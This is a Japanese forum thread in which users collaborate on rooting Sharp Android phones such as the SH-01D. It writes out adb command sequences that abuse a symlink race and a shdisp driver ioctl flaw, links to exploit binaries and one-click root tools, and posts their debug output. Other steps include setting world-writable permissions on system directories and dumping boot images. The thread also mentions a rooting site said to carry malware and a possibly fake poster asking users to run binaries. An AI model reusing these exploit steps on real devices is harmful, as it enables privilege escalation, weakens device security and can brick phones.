実機もってないけど、立ててみた。
あとは好きにやって
('仄')ﾊﾟｲﾊﾟｲ
こないだ中古でSH03C買ったその日にアプデートしちゃってroot取れない
漏れに誤れ！
それまでの間、一時の夢をお楽しみくだしあ
ど直球に「SHBreakによるセキュリティの脆弱性を解消するアップデート」
とかしちゃったりして
そなのか、知らんかった
http://www.unlockroot.com/index.htm
たぶん大丈夫ではないだろ
メアドｗ
ダメじゃんｗ マルウェア入りだってよ
SHBreakも中で某G氏のロジック使ってるみたいだし
あの野郎・・・
gorohです
どなたか。
SH-01Dって、kernel2.6.39ですよね・・。
https://github.com/saurik/mempodroid
これ使えるか見てみてもらえますか？
（１）こちらをダウンロードする
http://cache.saurik.com/android/armeabi/mempodroid
（２）adb でpush,実行する
adb push mempodroid /data/local
adb shell chmod 555 /data/local/mempodroid
adb shell
$ /data/local/mempodroid - sh
どうなるでしょ？
後で試してみます。
正座して待ってます
そんな怪しいことするわけねーだろボケ
rootとりたくないの？
意味わからないならワンクリツール作る？
相手を見て口のききかた考えようね。ちゃんと名乗ってるわけだし。試しにググってみな。goroh_kunでもmempodroidでも
$ /data/local/mempodroid - sh を実行すると
/data/local/mempodroid - sh
$
って感じで入力待ち？に戻ります
やりかた間違ってなければいいですが・・・root化とかやったことないので
カーネルは今日のアップデートあてて2.6.35.7+です
ではこの脆弱性は関係なしでした。
>ちゃんと名乗ってるわけだし。
>>24は「goroh」って名乗ってるけど「goroh_kun」って名乗ってないと思うが。
偽者なんじゃね？何を実行させようとしたかは分からんが。
arrowsスレでも、「goroh」で書き込みしてくれてるよ
偽物とか思うならやらなきゃいいじゃん
root化は自己責任なんだからさ
ま、きみはやらない方がいいよ
文鎮化して騒ぐだろうし
いくらSH使いでもarrowsスレに目も通してない>>33が悪い
自己責任の免罪符があるから利用して悪い事する奴がいるかもしれん、そこを>>33が不安に思ってでの発言でも>>33が悪い
10:0で>>33が悪い
とりあえずオマエきめーんだよカス
逆ギレみっともないｗ ゆとり君か？ｗ
心配ならバックアップ取っておくとか、一回エミュ上で確認するとかいろいろできるんだから
その辺りのリスクは自分でヘッジすればおｋ
とりあえず君はこのスレに来ないほうがイイかもしれないな
そこまで折り込み済みじゃない人がなんでこのスレにいるんだ
特にこの機種は現状確立したroot化の手法がないんだから、危ない橋を渡らないとroot化なんてできないだろ
それができないやつはこのスレに書きこむな、いちいち得体が知れないから危険だなんだと茶々入れられたんじゃ、root化を探る上で邪魔でしかないよ
お世話になります
一応/data/local.propが効かないことを確認できたらと思うのですが、
以下確認できますか？
(0)前提条件
/synthesis/shdisp/
に入れること。
adb shell
$ cd /synthesis/shdisp/
$ ls
で結果が出る
$ ln -s a b
が実行可能なこと。
$ ls
b -> a
(1)(0)が可能ならとりあえず再起動
(2)再起動中に以下を実行
adb wait-for-device shell ln -s /data/local.prop /synthesis/shdisp/shdisp_smem_1
adb wait-for-device shell ln -s /data/local.prop /synthesis/shdisp/shdisp_smem_2
(3)起動後に/data/local.propが出来ているか確認
adb shell ls -l /data/local.prop
(4)adb shellで入り、以下を実行
echo hoge.prop=1 > /data/local.prop
(5)再度再起動
(6)再起動後に、hoge.propが定義されているか確認
adb shell getprop hoge.prop
どうなるか教えていただけますか？
ちなみに私は端末持ってないので確認できないんです＾＾；
(0)に書いてあるコマンドを全部やってみました。
最後のb -> aはこれであってるのかわかんないですが、とりあえず各コマンドの出力を書いときます。
$ cd /synthesis/shdisp/
cd /synthesis/shdisp/
$ ls
ls
shdisp_vram_mutex
$ ln -s a b
ln -s a b
$ ls
ls
b
shdisp_vram_mutex
$ b -> a
b -> a
b: permission denied
ありがとうございます。
とりあえず(0)の条件は満たしているみたいなので、(1)～(6)ができるか
確認お願いできますか？
$ ls -l
の出力結果が
b -> a
になってるんだと思います。オプションの-lが抜けてました。
/data/local.prop: No such file or directory
と出力されます。なんかダメっぽいです。
(2)は2つとも何も出力しないです。
(2)の代わりに以下をしてみてください。
adb wait-for-device shell "for i in 0 1 2 3 4 5 6 7 8 9; do ln -s /data/local.prop /synthesis/shdisp/shdisp_smem_$i; done"
これでも/data/local.propはできないですかね・・。
実行してみました。なんかいけてそうなのでまた各出力を書いておきます。
adb wait-for-device shell "for i in 0 1 2 3 4 5 6 7 8 9; do ln -s /data/local.prop /synthesis/shdisp/shdisp_smem_$i; done"
（出力なし）
adb shell ls -l /data/local.prop
-rw-rw-rw- system system 16385 2012-01-30 20:30 local.prop
$ echo hoge.prop=1 > /data/local.prop
echo hoge.prop=1 > /data/local.prop
adb shell getprop hoge.prop
（出力なし、というか改行のみ出力？）
なるほど。状況は把握しました。
・local.propは読んでなさそう
・オーナーsystemでworld writableなファイルが作成可能
ということはsystem権限までは簡単に取れそうですね。
http://goo.gl/Bs6Iq
こちらのファイルをダウンロードしていただいて、
adb push onload.sh /data/local/
adb push libsdservice_jni.so /data/local/
adb push shdisphook /data/local/
adb shell chmod 755 /data/local/onload.sh
adb shell chmod 755 /data/local/shdisphook
adb reboot
adb wait-for-device shell /data/local/shdisphook
まで、実行していただき、
成功すると。
設定アプリケーションからmicroSDのマウント解除のダイアログを
出した時点で/dataのパーミッションが777になります。
まずは第1段階ってことで。
onload.shがjni呼び出し時に呼び出されるコマンド
oncmd.shがダイアログを出すたびに呼ばれるコマンドになります。
これで解析していきましょう。
参考までにreadmeに書いてある使い方例の出力を書いておきます。
$ ls -l /cache
ls -l /cache
drwxrwx--- root root 2011-11-11 03:39 lost+found
drwxrwx--- system cache 2012-01-24 13:12 recovery
他のsystem権限が必要なディレクトリの中も見れました。
まぁ自分にはここからどうすればroot化に繋がるのかまったくわからないけれど・・・
あとはドライバの脆弱性つけばroot取れる状態なので、その準備中ですよ。
いくつかは見えてるので。
正座してお待ちしております
http://pastebin.com/TCxiArQn
すみませんが、実機が手元にないため、sh-01dで動作確認お願いします。
すくなくても前回公開されたkernelソースコードでは利用可能と思います。
最新版で修正されているかは不明です。
横から失礼します。
取り急ぎ、実行してみましたが、最後に下記のようになります。
確かに途中不安な所もありますが、やり方がおかしかったのでしょうか…。
また一からやってみます。
$ ls -l /dev/shdisp
crw-rw-rw- system cache 235, 0 2012-02-05 13:08 shdisp
$ /data/local/breaksuidshdisp
/data/local/breaksuidshdisp
afd0b070 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
afd0b080 : 00 00 b0 e1 1e ff 2f 51 50 b3 00 ea 00 f0 20 e3
p2 = AFD50000 - B0010000
event_type = 268435456
[1] Segmentation fault /data/local/breaksuidshdisp
$
ビルドは最新の01.00.03です。
修正されてしまったのかな…
もどりました。
確認いただいてありがとうございます。
event_type = 268435456
と出たところでエラーですか・・。
ioctlのところでエラーなんですかねぇ・・。
ioctlのエラーも出ていないところをみるとどこが原因かはっきり知りたいところです。
ちょっとデバッグコード入れ込んで見ますので、少々お待ちください。
adb shell cat /proc/self/mapsの結果を張ってもらえますか？
よろしくお願いします。
私の環境では下記のようになりました。
よろしくお願いします。
00008000-0001b000 r-xp 00000000 b3:0b 668 /system/bin/toolbox
0001b000-0001c000 rw-p 00013000 b3:0b 668 /system/bin/toolbox
0001c000-00023000 rw-p 00000000 00:00 0 [heap]
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
af900000-af90d000 r-xp 00000000 b3:0b 1770 /system/lib/libcutils.so
af90d000-af90e000 rw-p 0000d000 b3:0b 1770 /system/lib/libcutils.so
af90e000-af91d000 rw-p 00000000 00:00 0
afa00000-afa03000 r-xp 00000000 b3:0b 1833 /system/lib/liblog.so
afa03000-afa04000 rw-p 00003000 b3:0b 1833 /system/lib/liblog.so
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 1758 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 b3:0b 1758 /system/lib/libc.so
afd43000-afd4e000 rw-p 00000000 00:00 0
b0001000-b000d000 r-xp 00001000 b3:0b 545 /system/bin/linker
b000d000-b000e000 rw-p 0000d000 b3:0b 545 /system/bin/linker
b000e000-b001c000 rw-p 00000000 00:00 0
be7e2000-be803000 rw-p 00000000 00:00 0 [stack]
ありがとうございます。
mmapの問題はとくになさそうですね・・。
デバッグを入れ込んだ版を作ってみました。
お手数ですが、一度実行し結果出力を見せていただくことは可能ですか？
よろしくお願いいたします。
です。
はい、お力になれることがあれば、なんなりと♪
言われた事をやる以外、全くわからないですが(；・∀・)。
よろしくお願いします。
結果はbreaksuidshdispの結果は下記の通りです。
$ /data/local/breaksuidshdisp
/data/local/breaksuidshdisp
afd0a680 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
afd0a690 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
p = 00030000 - 01030000
p2 = AFD50000 - AFE00000
event_type = 268435456
00008000-0000b000 r-xp 00000000 103:06 7507 /data/local/breaksuidshdisp
00012000-00013000 rw-p 00002000 103:06 7507 /data/local/breaksuidshdisp
00013000-00014000 rw-p 00000000 00:00 0 [heap]
00030000-01030000 rwxp 00000000 00:00 0
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 1758 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 b3:0b 1758 /system/lib/libc.so
afd43000-afd4e000 rw-p 00000000 00:00 0
afd50000-b0d50000 rwxp 00000000 00:00 0
be82a000-be84b000 rw-p 00000000 00:00 0 [stack]
p3 = 01030000
p4 = 01030004
p3 = AFD0A680
p4 = AFD0A684
afd0a680 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
afd0a690 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
できてますね^^
ターミナルエミュレータ起動してみてください。
ごめんなさい。アドレスが決めうちになってました。
もう一度こちらで動作確認おねがいできますか？
http://hotfile.com/dl/145320369/e75b86f/breaksuidshdisp_2.zip.html
え～っと、ターミナルエミュレータを起動してみたんですが
$ export PATH=/data/local/bin:$PATH
$
という状態なんですが、この$が#になるということでしょうか？
無知で申し訳ありません<(_ _)>。
breaksuidshdisp_2.zipの方でやってみました。
下記の通りです。
/data/local/breaksuidshdisp
afd0b070 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
afd0b080 : 00 00 b0 e1 1e ff 2f 51 50 b3 00 ea 00 f0 20 e3
p = 00030000 - 01030000
p2 = AFD50000 - AFE00000
event_type = 268435456
00008000-0000b000 r-xp 00000000 103:06 7507 /data/local/breaksuidshdisp
00012000-00013000 rw-p 00002000 103:06 7507 /data/local/breaksuidshdisp
00013000-00014000 rw-p 00000000 00:00 0 [heap]
00030000-01030000 rwxp 00000000 00:00 0
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 1758 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 b3:0b 1758 /system/lib/libc.so
afd43000-afd4e000 rw-p 00000000 00:00 0
afd50000-b0d50000 rwxp 00000000 00:00 0
be836000-be857000 rw-p 00000000 00:00 0 [stack]
p3 = 01030000
p4 = 01030004
p3 = AFD0B070
p4 = AFD0B074
afd0b070 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
afd0b080 : 00 00 b0 e1 1e ff 2f 51 50 b3 00 ea 00 f0 20 e3
ありがとうございます。
む～。
p3 = 01030000
p4 = 01030004
と出ているということは、うまくメモリ書き換えが出来ていないようです。
この脆弱性がふさがれてしまってる可能性が高いです・・
他のやつもいくつか有るのでまた準備しますね。
楽しみにしております♪
よろしくお願いします。
01Bでもお世話になってここでもお世話になるなんて
正座しておきます
ありがとう
p3 = 007B12C8
p4 = 0085EC80
p3 = AFD0B070
p4 = AFDB8A28
が出てクラッシュしてしまいます…
$ ls -l /cache
ls -l /cache
drw-rw-rw- system cache 2012-01-06 09:44 recovery
drwxrwx--- root root 1980-01-06 09:00 lost+found
$ rm -r /cache/recovery
rm -r /cache/recovery
rm failed for /cache/recovery, Permission denied
$ ln -s /dev/shdisp /cache/recovery
ln -s /dev/shdisp /cache/recovery
link failed File exists
なるほど。recoveryが既に有るとshell権限だと削除できないですね。
mv /cache/recovery /cache/recovery_
はできるはずなので、
そのあと、
ln -s /dev/shdisp /cache/recovery
すればよいかも。
初期バージョンではアドレス計算できているということは
使えるかもです。
breaksuidshdisp_2.zip
のほうで実行しましたか？
すみません、よろしくお願いします。
結論として、最新のファームウェアではshdispの脆弱性はふさがっているようです。
別の脆弱性を使うツールを準備中です。
A01のベースバンドバージョン01.00.10、カーネル2.6.35.7で試しました。
以下の結果のようになりましたがいかがでしょうか？
>adb shell
$ /data/local/breaksuidshdisp
/data/local/breaksuidshdisp
afd0a680 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
afd0a690 : 00 00 b0 e1 1e ff 2f 51 ec b2 00 ea 00 f0 20 e3
p = 00030000 - 01030000
p2 = AFD50000 - AFE00000
event_type = 268435456
00008000-0000b000 r-xp 00000000 1f:0b 8533 /data/local/breaksuidshdisp
00012000-00013000 rw-p 00002000 1f:0b 8533 /data/local/breaksuidshdisp
00013000-00014000 rw-p 00000000 00:00 0 [heap]
00030000-01030000 rwxp 00000000 00:00 0
40000000-40020000 r--s 00000000 00:0c 1369 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 1f:05 1193 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 1f:05 1193 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 1f:05 1376 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 1f:05 1376 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 1f:05 1301 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 1f:05 1301 /system/lib/libc.so
afd43000-afd4f000 rw-p 00000000 00:00 0
afd50000-b0d50000 rwxp 00000000 00:00 0
bea8b000-beaac000 rw-p 00000000 00:00 0 [stack]
p3 = 007DB6C4
p4 = 0091701C
p3 = AFD0A680
p4 = AFE45FD8
afd0a680 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
afd0a690 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
一見上手く行ったかのように見えましたが端末エミュレータでは#になりませんでした。
もし何かの参考にでもなれたら幸いですよろしくおねがいします。
breaksuidshdisp_2.zip のほうでやりました。
最後のioctlのループにprintfを仕込んでみたましたが、一回目のループで再起動がかかってしまうようです。
端末エミュレータでは#になりませんでしたが、
ConnectBotという端末アプリでは#になりました。
アプリ凍結も出来ました。
ありがとう御座います感謝します！
A01バージョン01.00.08
>>63
>>67
>>http://t.co/XA0FZnM3
どのbreaksuidshdispっても端末エミュレーターで#になりました
手順
adb reboot & adb wait-for-device shell /data/local/shdisphook
microSDのマウント解除ダイアログを表示
adb shell ls -l /dev/shdisp
adb shell /data/local/breaksuidshdisp
エミュレーターで#確認
su権限とか取れますか？
知識不足の私ではやり方が分からなくて…
su権限じゃないと使えないコマンドが多すぎて
アプリに変な権限のファイルが出来た時に困りそうです…
端末エミュレータで#取れるなら、
http://www1.axfc.net/uploader/Sc/so/295510.zip
autoexec.shと一連のファイル群をdata/localへadb pushで保存し
パーミッションを755に変更
端末エミュレータで /data/local/autoexec.shを実行すれば
adb shellで/dev/suや/dev/_suで#になります。
一時root取れるまでのワンクリツール作ったので試して見てください。
http://ll.la/,abn
キーワード?
rootest_v2 私は最後に、これらのメッセージを持って...と私の携帯電話が再起動..
afd0b080 : 00 00 b0 e1 1e ff 2f 51 50 b3 00 ea 00 f0 20 e3
p = 00030000 - 01030000
p2 = AFD50000 - AFE00000
event_type = 268435456
00008000-0000b000 r-xp 00000000 103:06 7524 /data/local/breaksuidshdisp
00012000-00013000 rw-p 00002000 103:06 7524 /data/local/breaksuidshdisp
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
63と67
どちらbreaksuidshdispで成功しましたか？
外出先のためIDが変わって申し訳ありません。
breaksuidshdisp_2.zipの方でやりましたよ！
>>83のsu権限をadb shellで取得した後は、
端末の方もsuper userになっているのでしょうか…？
キーワード test?
入力されたキーワードが設定されたキーワードと相違しています
回答ありがとう
一時rootが取れた時点で、端末の全てのアプリがroot権限で動作可能
しかし、既に起動してるアプリは
設定→アプリケーション→実行中のサービスで停止、キャッシュしたプロセスからも停止
完全にkillして再度root権限で動作させたいアプリを起動すればroot権限で動作する
ConnectBotで＃なら端末エミュレーターでも＃になります
一時rootで目的の動作をした後は、再起動した方が良い
＞端末の方もsuper userになっているのでしょうか…？
adb shellでsu実行するとadbがroot権限になるだけです
大まかな手順
一時root
adbでroot
root可能カーネルを焼く
そうすると、いつでも簡単にrootオンオフ可能になります
root
って入力してください
ありがとうございます。
breaksuidshdisp実行状態でadb shellで/dev/suを行いましたが、
Permission deniedとなって実行できませんでした。
ConnectBotで同じコマンドを打つとメッセージが何も出ないので上手く行っているようです。
(実行前から#のため、su権限になったかが端末の見た目からは判断できない…)
breaksuidshdispを実行しただけだと、autostartsというアプリを起動すると強制終了になってしまうのですが、
su権限がないと上手く動かないものなのでしょうか…？
ConnectBotで/dev/suを行った後だとautostartsは上手く動くようになるのでしょうか…？
知識不足でよくわからないのですが、とりあえずConnectBotで/dev/suを行った後にautostartsを起動してどうなるかやってみます。
手順
breaksuidshdispで一時root権限が取得（全てのアプリがroot権限だけど、動くアプりと動かないアプリがある）
>>83のrootツールをadbでpushしてchmodで755に権限変更
端末エミュレータやConnectBotやgscript等のアプリで/data/local/autoexec.sh←これをするとroot権限でadbでrootが取れるようになる
adb shell
/dev/_su
#
ココまで進んだ状態は、スマホを再起動すると一時rootもadbのroot権限も無くなるので初めからやり直す必要がある
次の段階として
adbでroot権限でroot可能カーネルを焼きます
※autostarts等のrootアプリは一時rootだと動かないアプリになります
私のような初心者のためにくわしくご説明いただきありがとうございます。
ベースバンドバージョンが01.00.08までの時に使えていたrootkitでは
autostartsやTitanium Backupなどが動いていたので今回もできるのではと思い込んでしまっていました…
これらのアプリを使うにはカーネル焼きですか…
文鎮化のリスクが伴う作業になりますので初心者の私ではちょっと躊躇してしまいますね…
nandunlockshspampなど今までのものがそのまま利用できるのでしょうか…
初心者の私としては他の人が上手く行くまでは手が出せそうにないですね。
いろいろご指導いただきありがとうございます。
私なんかで力になれることがあったらいくらでもご協力いたしますので気軽にお声掛け下さい！
一時root取得後
ターミナルエミュレータ等で
#状態で
/data/local/autoexec
パソコンで
adb shell
/dev/_su
cat /dev/mtd/mtd0ro > /mnt/sdcard/boot.img
スマホのSDフォルダにboot.img（10MBぐらい）
これを↓にアップしてもらってもいいですか？
http://2sen.dip.jp/cgi-bin/upgun/up6/upload.cgi
参考にして、ワンクリツールの続きを作ろうと思います
drwxrwx--x system system 2012-02-07 11:10 app
drwxrwx--x system system 2012-01-23 19:52 app-private
drwxrwx--x system system 2011-10-27 15:58 fonts
drwxrwxr-x system system 2012-02-07 17:10 system
drwxr-x--- system radio 2000-01-01 09:00 ste
drwxr-x--- root log 2000-01-01 09:00 dontpanic
drwxrwx--t system misc 2000-01-01 09:00 misc
drwxrwx--x shell shell 2012-02-07 17:08 local
drwxrwx--x system system 2012-02-07 08:03 data
drwx------ root root 2012-02-05 19:40 property
drwxrwxrwx root root 2012-01-25 02:03 fota
drwxrwx--x system system 2012-02-07 17:09 dalvik-cache
drwxrwx--- root root 2000-01-01 09:00 lost+found
drwx------ root root 2000-01-01 09:00 smc
drwx------ root root 2000-01-01 09:00 sb
-rwxr----- root camera 20480 2000-01-01 09:03 camadj
drwxrwx--- system system 2012-02-07 17:09 gps
drwx--x--x root system 2000-01-01 09:00 tmp
drwx------ system system 2000-01-01 09:03 secure
drwx------ system system 2012-02-07 17:09 backup
drwxrwxr-x system system 2012-02-07 11:10 anr
自分には無理でした。
ワンクリツール待ってます
faild on '/cache/recovery' - Permission denied
faild on '/cache/recovery' - Permission denied
android端末の設定アプリケーション->microSDと端末容量->マウント解除しキャンセル
↑の操作のタイミングによっては権限取得できないので、もう一度試してください
shdisphookは起動毎になんども行うのは大変なので、
onload.shは以下の内容にしておくと良い
chmod 777 /data
chmod 777 /cache
chmod 777 /cache/recovery
chmod 777 /data/data/com.android.settings/lib
こうすると、次回起動時はshdisphookをしなくても、
cat /data/local/libsdservice_jni.so > /data/data/com.android.settings/lib/libsdservice_jni.so
これだけで、jniライブラリをコピーできる。
crw-rw-rw- system cache 235, 0 2012-02-07 22:13 shdisp
C:\Users\R2D2\Desktop\rootest_v2>adb shell /data/local/breaksuidshdisp
afd0b070 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
afd0b080 : 00 00 b0 e1 1e ff 2f 51 50 b3 00 ea 00 f0 20 e3
p = 00030000 - 01030000
p2 = AFD50000 - AFE00000
event_type = 268435456
00008000-0000b000 r-xp 00000000 103:06 7502 /data/local/breaksuidshdisp
00012000-00013000 rw-p 00002000 103:06 7502 /data/local/breaksuidshdisp
00013000-00014000 rw-p 00000000 00:00 0 [heap]
00030000-01030000 rwxp 00000000 00:00 0
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 1758 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 b3:0b 1758 /system/lib/libc.so
afd43000-afd4e000 rw-p 00000000 00:00 0
afd50000-b0d50000 rwxp 00000000 00:00 0
bec92000-becb3000 rw-p 00000000 00:00 0 [stack]
p3 = 01030000
p4 = 01030004
p3 = AFD0B070
p4 = AFD0B074
afd0b070 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
afd0b080 : 00 00 b0 e1 1e ff 2f 51 50 b3 00 ea 00 f0 20 e3
"【端末操作】端末で端末エミュレーターを起動し#が表示される事を確認する。#が表示
さる場合は、一時rootが成功しています"
＃でねぇす
SH-01Dの最新版でも動作する予定の
shdispの脆弱性を利用したroot取得ツールを公開します。
twitterのほうに、リンク先は貼っておきました。
twitterアカウントはgoroh_kunです。
すみませんが、動作確認よろしくお願いします。
すみません、更新したもので、もう一度確認お願いできますか？
値が12以上だと、ioctlはエラー値1を返すようになっているようです。
ただ、マイナスの値はチェックしてないので、event_typeがマイナスになるように
アドレス調整してツールを更新してみました。
afd0a680 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
afd0a690 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
p = 00030000 - 01030000
p2 = AFD50000 - AFE00000
event_type = 268435456
00008000-0000b000 r-xp 00000000 103:06 7502 /data/local/breaksuidshdisp
00012000-00013000 rw-p 00002000 103:06 7502 /data/local/breaksuidshdisp
00013000-00014000 rw-p 00000000 00:00 0 [heap]
00030000-01030000 rwxp 00000000 00:00 0
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 1758 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 b3:0b 1758 /system/lib/libc.so
afd43000-afd4e000 rw-p 00000000 00:00 0
afd50000-b0d50000 rwxp 00000000 00:00 0
bed94000-bedb5000 rw-p 00000000 00:00 0 [stack]
p3 = 01030000
p4 = 01030004
p3 = AFD0A680
p4 = AFD0A684
afd0a680 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
afd0a690 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
"【端末操作】端末で端末エミュレーターを起動し#が表示される事を確認する。#が表示
さる場合は、一時rootが成功しています"
続行するには何かキーを押してください . .
何をどうすればｙ
我々には難しいズラ
SH-01Dのかた、
adb shell ls -l /data/misc/keystore
の結果が
opendir failed, Permission denied
になるかどうか確認お願いできますでしょうか。
すみませんが、よろしくお願いいたします。
/dataとかでやるとその表示が出ましたが、
/data/misc/keystoreでは何も表示されませんでした＠最新FW
C:\>adb shell ls -l /data/misc/keystore
C:\>adb shell ls -l /data
opendir failed, Permission denied
やはり、、パーミッションは777になってる可能性大ですね^^;;
ありがとうございます。
再起動不要でrootまでいけました。
手順詳しく
ただ、手順が間違ってたのかもしれないです。
rm -r /cache/recovery で
rm failed for /cache/recovery, Permission denied
となったので、>>75の方法で進めたりしましたし。
正直、旧バージョンの話やらいろいろ出てきて手順がよくわからなくなってるので、
一度まとめて頂けるとありがたいです。
一応breaksuidshdispの出力を書いておきます。
afd0b070 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
afd0b080 : 00 00 b0 e1 1e ff 2f 51 50 b3 00 ea 00 f0 20 e3
p = 80000000 - 81000000
p2 = AFD50000 - AFE00000
event_type = -268435456
00008000-0000b000 r-xp 00000000 103:06 7507 /data/local/breaksuidshdisp
00012000-00013000 rw-p 00002000 103:06 7507 /data/local/breaksuidshdisp
00013000-00014000 rw-p 00000000 00:00 0 [heap]
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
80000000-81000000 rwxp 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 1758 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 b3:0b 1758 /system/lib/libc.so
afd43000-afd4e000 rw-p 00000000 00:00 0
afd50000-b0d50000 rwxp 00000000 00:00 0
bef0d000-bef2e000 rw-p 00000000 00:00 0 [stack]
p3 = 81000000
p4 = 81000004
p3 = 2FD0B070
p4 = 2FD0B074
event_type = -268435456
afd0b070 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8
afd0b080 : 00 00 b0 e1 1e ff 2f 51 50 b3 00 ea 00 f0 20 e3
121さんと違うところだけ抜き出すと
00008000-0000b000 r-xp 00000000 103:06 7502 /data/local/breaksuidshdisp
00012000-00013000 rw-p 00002000 103:06 7502 /data/local/breaksuidshdisp
beb56000-beb77000 rw-p 00000000 00:00 0 [stack]
SH-01D最新FWです
当然のようにsuはパーミッションがダメ！って怒られました。
遅くなりました。
boot.imgをうｐしましたのでお使いください。
うｐしたところ拡張子が変わってしまったので
拡張子を.7zに変更して展開ください。
ttp://2sen.dip.jp/cgi-bin/upgun/up6/source/up2517.bin
アプリを凍結する際にpm disable ～とやりますが、
disableにしたものだけの一覧とかを表示させたりはできないのでしょうか？
どなたかご存じの方がいらっしゃいましたらお教え下さいお願いします。
01.00.10の状態で下を実行すると
nandinfocalc boot
結果 0xc08a3028
nandunlockshspamp 0xc08a3028
y
f=3
f=3
f=3
/data/local/flash_image recovery /data/local/boot.img
Read onlyで書込めませんでした
NANDLOCK解除できていない
bootで起動して
01.00.08のカーネルをリカバリーに焼いた後にリカバリーブート
上と違い
/data/local/flash_image recovery /data/local/boot.img
正常に書込めました
NANDLOCK解除できないかも？
マジか…
カーネルが焼ければsystem弄れなくても
ホームアプリキルを防げたりいくらかの事は出来たのにな…
カーネルが焼けないとか…
>>83のツールでrootest_v2.batの31～36行と45～50行をコメントアウトするだけ。
権限確認云々はスルーで。
>>109は使ってる？
それとも>>83のみでOK？
>>83のみです。
up2518.binをrootest_v3.7zにリネームし解凍してご利用下さい
ttp://2sen.dip.jp/cgi-bin/upgun/up6/source/up2518.bin
>>109の手順ががわからなかったので
>>55の操作から>>127の処理を省いた処理を自動化しました
一時root
boot.img等のバックアップ
完全root化
カメラ無音
バッテリー100%表示
を組み込みました
他に希望があれば組み込みます
動作確認バージョン
01.00.10（動作報告あり）
01.00.08（動作確認済）
